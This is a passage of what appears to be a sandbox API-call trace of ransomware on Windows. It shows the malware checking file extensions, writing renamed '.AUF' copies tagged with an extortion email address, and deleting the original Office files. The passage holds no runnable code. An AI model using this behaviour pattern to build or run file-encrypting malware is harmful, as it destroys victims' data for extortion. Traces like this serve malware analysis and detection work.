73 [0205.901] lstrlenW (lpString=".dbf") returned 4 [0205.901] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.901] lstrlenW (lpString=".1cd") returned 4 [0205.901] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.901] lstrlenW (lpString=".jpg") returned 4 [0205.901] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.901] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.901] lstrlenW (lpString="boxed-split.avi") returned 15 [0205.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.902] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=62976) returned 1 [0205.902] CloseHandle (hObject=0x1b0) returned 1 [0205.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0205.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.902] lstrlenW (lpString=".doc") returned 4 [0205.902] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.902] lstrlenW (lpString=".docx") returned 5 [0205.902] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.902] lstrlenW (lpString=".pdf") returned 4 [0205.902] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.902] lstrlenW (lpString=".xls") returned 4 [0205.902] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString=".xlsx") returned 5 [0205.903] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.903] lstrlenW (lpString=".ppt") returned 4 [0205.903] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.903] lstrlenW (lpString=".zip") returned 4 [0205.903] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString=".rar") returned 4 [0205.903] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString=".bz2") returned 4 [0205.903] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString=".7z") returned 3 [0205.903] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.903] lstrlenW (lpString=".dbf") returned 4 [0205.903] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.903] lstrlenW (lpString=".1cd") returned 4 [0205.903] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.903] lstrlenW (lpString=".jpg") returned 4 [0205.903] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.903] lstrlenW (lpString=".doc") returned 4 [0205.903] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString=".docx") returned 5 [0205.903] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.903] lstrlenW (lpString=".pdf") returned 4 [0205.903] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString=".xls") returned 4 [0205.903] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString=".xlsx") returned 5 [0205.903] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.903] lstrlenW (lpString=".ppt") returned 4 [0205.903] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.903] lstrlenW (lpString=".zip") returned 4 [0205.903] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.904] lstrlenW (lpString=".rar") returned 4 [0205.904] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.904] lstrlenW (lpString=".bz2") returned 4 [0205.904] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.904] lstrlenW (lpString=".7z") returned 3 [0205.904] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.904] lstrlenW (lpString=".dbf") returned 4 [0205.904] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.904] lstrlenW (lpString=".1cd") returned 4 [0205.904] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0205.904] lstrlenW (lpString=".jpg") returned 4 [0205.904] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.904] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.904] lstrlenW (lpString="correct.avi") returned 11 [0205.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.904] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=197120) returned 1 [0205.904] CloseHandle (hObject=0x1b0) returned 1 [0205.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0205.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString=".doc") returned 4 [0205.905] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString=".docx") returned 5 [0205.905] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.905] lstrlenW (lpString=".pdf") returned 4 [0205.905] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString=".xls") returned 4 [0205.905] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString=".xlsx") returned 5 [0205.905] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.905] lstrlenW (lpString=".ppt") returned 4 [0205.905] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString=".zip") returned 4 [0205.905] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString=".rar") returned 4 [0205.905] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString=".bz2") returned 4 [0205.905] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString=".7z") returned 3 [0205.905] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString=".dbf") returned 4 [0205.905] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString=".1cd") returned 4 [0205.905] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString=".jpg") returned 4 [0205.905] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.905] lstrlenW (lpString=".doc") returned 4 [0205.905] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString=".docx") returned 5 [0205.906] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.906] lstrlenW (lpString=".pdf") returned 4 [0205.906] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString=".xls") returned 4 [0205.906] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString=".xlsx") returned 5 [0205.906] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.906] lstrlenW (lpString=".ppt") returned 4 [0205.906] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.906] lstrlenW (lpString=".zip") returned 4 [0205.906] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString=".rar") returned 4 [0205.906] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString=".bz2") returned 4 [0205.906] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString=".7z") returned 3 [0205.906] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.906] lstrlenW (lpString=".dbf") returned 4 [0205.906] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.906] lstrlenW (lpString=".1cd") returned 4 [0205.906] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0205.906] lstrlenW (lpString=".jpg") returned 4 [0205.906] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.906] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.906] lstrlenW (lpString="delete.avi") returned 10 [0205.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0205.980] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=224256) returned 1 [0205.980] CloseHandle (hObject=0x1cc) returned 1 [0205.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0205.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.980] lstrlenW (lpString=".doc") returned 4 [0205.980] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.980] lstrlenW (lpString=".docx") returned 5 [0205.980] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0205.980] lstrlenW (lpString=".pdf") returned 4 [0205.980] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.980] lstrlenW (lpString=".xls") returned 4 [0205.980] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.980] lstrlenW (lpString=".xlsx") returned 5 [0205.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0205.982] lstrlenW (lpString=".ppt") returned 4 [0205.982] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.982] lstrlenW (lpString=".zip") returned 4 [0205.982] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString=".rar") returned 4 [0205.982] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString=".bz2") returned 4 [0205.982] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString=".7z") returned 3 [0205.982] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.982] lstrlenW (lpString=".dbf") returned 4 [0205.982] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.982] lstrlenW (lpString=".1cd") returned 4 [0205.982] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.982] lstrlenW (lpString=".jpg") returned 4 [0205.982] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.982] lstrlenW (lpString=".doc") returned 4 [0205.982] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString=".docx") returned 5 [0205.982] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0205.982] lstrlenW (lpString=".pdf") returned 4 [0205.982] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString=".xls") returned 4 [0205.982] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.982] lstrlenW (lpString=".xlsx") returned 5 [0205.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0205.983] lstrlenW (lpString=".ppt") returned 4 [0205.983] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.983] lstrlenW (lpString=".zip") returned 4 [0205.983] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.983] lstrlenW (lpString=".rar") returned 4 [0205.983] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.983] lstrlenW (lpString=".bz2") returned 4 [0205.983] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.983] lstrlenW (lpString=".7z") returned 3 [0205.983] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.983] lstrlenW (lpString=".dbf") returned 4 [0205.983] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.983] lstrlenW (lpString=".1cd") returned 4 [0205.983] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.983] lstrlenW (lpString=".jpg") returned 4 [0205.983] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.983] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.983] lstrlenW (lpString="auxpad.xml") returned 10 [0205.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0206.317] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=212) returned 1 [0206.317] CloseHandle (hObject=0x1a8) returned 1 [0206.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0206.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0206.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0206.317] lstrlenW (lpString=".doc") returned 4 [0206.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.317] lstrlenW (lpString=".docx") returned 5 [0206.317] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0206.317] lstrlenW (lpString=".pdf") returned 4 [0206.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.317] lstrlenW (lpString=".xls") returned 4 [0206.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.317] lstrlenW (lpString=".xlsx") returned 5 [0206.317] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0206.317] lstrlenW (lpString=".ppt") returned 4 [0206.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0206.317] lstrlenW (lpString=".zip") returned 4 [0206.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.318] lstrlenW (lpString=".rar") returned 4 [0206.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.318] lstrlenW (lpString=".bz2") returned 4 [0206.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.318] lstrlenW (lpString=".7z") returned 3 [0206.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0206.318] lstrlenW (lpString=".dbf") returned 4 [0206.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.752] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.752] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.752] GetLastError () returned 0x0 [0209.752] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x545, lpOverlapped=0x0) returned 1 [0209.767] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x550, lpOverlapped=0x0) returned 1 [0209.768] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.768] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xee, lpOverlapped=0x0) returned 1 [0209.768] SetEndOfFile (hFile=0x1fc) returned 1 [0209.768] CloseHandle (hObject=0x1fc) returned 1 [0209.769] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.769] SetEndOfFile (hFile=0x1f8) returned 1 [0209.769] CloseHandle (hObject=0x1f8) returned 1 [0209.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.770] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString=".doc") returned 4 [0209.770] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString=".docx") returned 5 [0209.770] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.770] lstrlenW (lpString=".pdf") returned 4 [0209.770] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString=".xls") returned 4 [0209.770] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString=".xlsx") returned 5 [0209.770] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.770] lstrlenW (lpString=".ppt") returned 4 [0209.770] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString=".zip") returned 4 [0209.770] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.770] lstrlenW (lpString=".rar") returned 4 [0209.770] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString=".bz2") returned 4 [0209.770] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString=".7z") returned 3 [0209.770] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString=".dbf") returned 4 [0209.770] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString=".1cd") returned 4 [0209.770] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 